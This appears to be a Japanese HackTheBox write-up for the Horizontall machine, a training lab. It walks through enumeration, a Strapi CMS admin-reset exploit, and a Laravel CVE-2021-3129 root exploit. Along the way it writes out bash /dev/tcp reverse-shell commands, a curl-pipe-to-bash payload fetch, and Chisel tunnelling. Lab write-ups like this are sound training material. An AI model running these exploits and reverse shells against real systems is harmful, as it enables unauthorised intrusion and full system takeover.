> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Horizontall HackTheBox攻略記事

情報漏えい、ポートフォワーディング、Strapi CMS悪用、Laravel悪用を扱うHorizontall HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**スキル:**

* 情報漏えい
* ポートフォワーディング
* Strapi CMS のエクスプロイト
* Laravel のエクスプロイト
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20301bb66c4c4f76ce539fc122aff386a347b89f%2Fimage%20(685).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baee492159acb90ec1466b02d76453c4eb57451%2F%7BF8743B9C-78DD-4FED-A991-88B0CB3EC642%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2bb0d2e0252cf7df44a7dc2837ee0c07178d3bc%2F%7B4D76E11D-61AB-4CF0-947F-6D4C0CFEDC14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap 22.80 によるポートのバージョンスキャン:**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eed5e974b4e3aaf1bb7b8cd0190d7e10f166f6e2%2F%7BB414F659-A6AD-44CF-97AC-85CBA1DD1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c83a112766dfc22913989233fb10913c5fee2ff3%2F%7B88BCB75C-2ABD-4AAC-A7A2-1577D818D959%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート80をスキャン

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33964f8088bbf8568b8c0a6941321edd0c8cdf1b%2F%7B422E3081-F0F5-4808-9DAF-50872406B7BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### サブドメインのファジング（gobuster）

次に、以下を使ってサブドメイン検索を実行します **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

興味深いサブドメインを見つけます: **api-prod.horizontall.htb**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d940b54925b686467569a6e8ec51acaf45225fd6%2F%7B8EA030E8-24C6-480D-A1E6-E4DEDC54DC98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

それを追加します **/etc/hosts**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4fbdd43ee9b21b41e535096bb9419f7a34592462%2F%7BBD88A165-BF3F-437D-9AA3-F4F0E948460C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b4f053f8265a19bc6b407a3863e732d0c0d734%2F%7B7680AD3B-455B-41F6-979D-9E254C5E5058%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### API ディレクトリのファジング

API サブドメイン上でアクセス可能なディレクトリを分析します:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

見つかります:

* admin
* users
* レビュー

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40096fa636dade2ea057c35005462a8ef267a141%2F%7B0CA1320A-12DE-497C-A944-4E0E8E4FC0C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Strapi CMS のエクスプロイト（RCE）

以下で Strapi の脆弱性を探します **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8cc970e4b5c3bac600ad4f520949c707f450daf%2F%7B35D7BA0B-9172-4F74-B29D-74CA16E134E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次のエクスプロイトを使用します:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e09d172df466768f6b347acb5a15148c5c17afa6%2F%7B53021833-6E72-4A79-A8E6-2F19495ACFBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これにより管理者の認証情報が得られます

{% code overflow="wrap" %}

```javascript
[+] あなたのメールアドレスは: admin@horizontall.htb
[+] 新しい認証情報は: admin:SuperStrongPassword1 
[+] 認証済み JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3b1790ca2d9d9a6dce9c51a3ae86f29df6539e%2F%7B8742055F-D2C6-4EB1-93AC-AB361FE38CD5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

作成されたばかりのユーザーのパスワードハッシュを取得します:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-accbc0751911c7774923efb59d4cd3f9617cda5d%2F%7B50627C1F-1605-4281-B461-EB4F33924607%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### リバースシェルの取得

まず、 **index.html** を含むリバースシェルのペイロードを作成します:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Web サーバーを起動します:

```bash
python3 -m http.server 80
```

待受接続を開きます:

```bash
nc -nlvp 443
```

次に、ターゲット上でペイロードを実行します:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d05e583fe7fb8ceed6b68341fdaae691a25dff5%2Fimage%20(686).png?alt=media" alt=""><figcaption></figcaption></figure>

#### シェルを安定化させます:

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e382ab18afddc9451242a7db7096d0875d97a62%2Fimage%20(687).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

その後、ターゲットマシンで開いているポートを一覧表示し、ポート8000の存在を確認しました:

```bash
netstat -tuln
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d630123a94cb800b9ca8e7d470feeb2ed78059f0%2Fimage%20(681).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、 `curl` を使ってポート8000上のサービスへのアクセスをテストしました:

```bash
curl 127.0.0.1:8000
```

その後、Laravel CMS の存在を確認しました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a53aeea0751838efae551baf642d86317c9683d%2Fimage%20(682).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポートフォワーディング chisel ポート8000

まず、ローカルマシンで Chisel をコンパイルしました:

{% embed url="<https://github.com/jpillora/chisel>" %}

その後、Python3 の HTTP サーバー経由で Chisel の実行ファイルを被害者マシンへ転送しました

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4989ad799b602ab128b078cb690abe752ce5bede%2Fimage%20(683).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、Python3 の HTTP サーバー経由で Chisel の実行ファイルを被害者マシンへ転送しました

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1cbb0a78f07453b8f55fa48f1efd088999afd9a9%2Fimage%20(684).png?alt=media" alt=""><figcaption></figcaption></figure>

自分のマシンで Chisel サーバーを起動しました:

```bash
./chisel server -p 9000 -reverse
```

次に、被害者マシン上で Chisel クライアントを設定し、ポート8000をローカルマシンへリダイレクトしました:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd557f1521cdc827a04faa6699bbaf05b9cda5f8%2F%7BB6238774-9C13-4390-9F5B-45510B38D907%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Laravel CMS のエクスプロイト（CVE-2021-3129）

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 任意コマンドの実行

CVE-2021-3129 の脆弱性を悪用して、サーバー上で任意のコマンドを実行します。まず、以下を実行して動作を確認します `id` コマンド:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

出力により、root 権限があることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

アクセスが確認できたら、以下を読み取ってフラグを取得します `/root/root.txt` ファイル：

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### 対話的アクセスの取得（リバースシェル）

対話型シェルを得るために、ポート443でリスナーを設定します:

```bash
nc -nvlp 443
```

次に、エクスプロイトを使ってターゲットにリバースシェルを仕掛けます:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

その後、ターゲットマシンで root 権限を取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59e51bbb00b12226e1e1595e0fd97477b7b7ce19%2Fimage%20(679).png?alt=media" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
